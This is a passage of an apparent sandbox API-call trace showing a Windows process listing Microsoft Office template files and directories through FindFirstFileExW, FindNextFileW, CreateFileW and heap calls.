ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.908] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0079.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.908] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0079.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.908] NtClose (Handle=0x174) returned 0x0 [0079.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0079.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0079.909] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.909] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="")) returned 1 [0079.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227b10 [0079.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcf18) returned 1 [0079.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3d10 [0079.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123a8e8 [0079.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.910] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="")) returned 1 [0079.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3d30 [0079.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123a9f0 [0079.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.912] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="")) returned 0 [0079.912] GetLastError () returned 0x12 [0079.912] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0079.912] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.912] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.912] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="")) returned 1 [0079.912] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="")) returned 1 [0079.912] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="")) returned 0 [0079.912] GetLastError () returned 0x12 [0079.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.912] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1227b10) returned 1 [0079.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.912] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0079.913] GetLastError () returned 0x12 [0079.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0079.913] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1226da8) returned 1 [0079.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x33b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x36f0b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3bcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2941e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="")) returned 1 [0079.913] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3462a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x37879, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2077f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d23e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e253ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d2119, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2c5ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x96f4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieNewsletter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e312190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x6724a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieResume.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494000, ftCreationTime.dwHighDateTime=0x1ca582b, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe494000, ftLastWriteTime.dwHighDateTime=0x1ca582b, nFileSizeHigh=0x0, nFileSizeLow=0x4352, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb72000, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6eb72000, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b535800, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8b535800, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x26022, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityLetter.Dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x145ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, 